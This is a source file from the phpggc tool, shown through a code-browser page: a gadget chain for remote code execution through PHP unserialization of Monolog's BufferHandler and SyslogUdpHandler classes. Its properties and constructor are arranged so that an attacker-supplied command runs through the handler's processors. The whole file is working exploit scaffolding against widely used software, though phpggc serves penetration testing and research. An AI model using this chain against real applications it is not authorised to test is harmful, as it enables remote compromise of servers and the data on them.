Codebase list phpggc / run/b4a6dae3-57e3-4155-8b71-0e1e50790704/main gadgetchains / Monolog / RCE / 1 / gadgets.php
run/b4a6dae3-57e3-4155-8b71-0e1e50790704/main

Tree @run/b4a6dae3-57e3-4155-8b71-0e1e50790704/main (Download .tar.gz)

gadgets.php @run/b4a6dae3-57e3-4155-8b71-0e1e50790704/mainraw · history · blame

<?php

namespace Monolog\Handler
{
    class SyslogUdpHandler
    {
        protected $socket;

        function __construct($x)
        {
            $this->socket = $x;
        }
    }

    class BufferHandler
    {
        protected $handler;
        protected $bufferSize = -1;
        protected $buffer;
        # ($record['level'] < $this->level) == false
        protected $level = null;
        protected $initialized = true;
        # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false
        protected $bufferLimit = -1;
        protected $processors;

        function __construct($methods, $command)
        {
            $this->processors = $methods;
            $this->buffer = [$command];
            $this->handler = clone $this;
        }
    }
}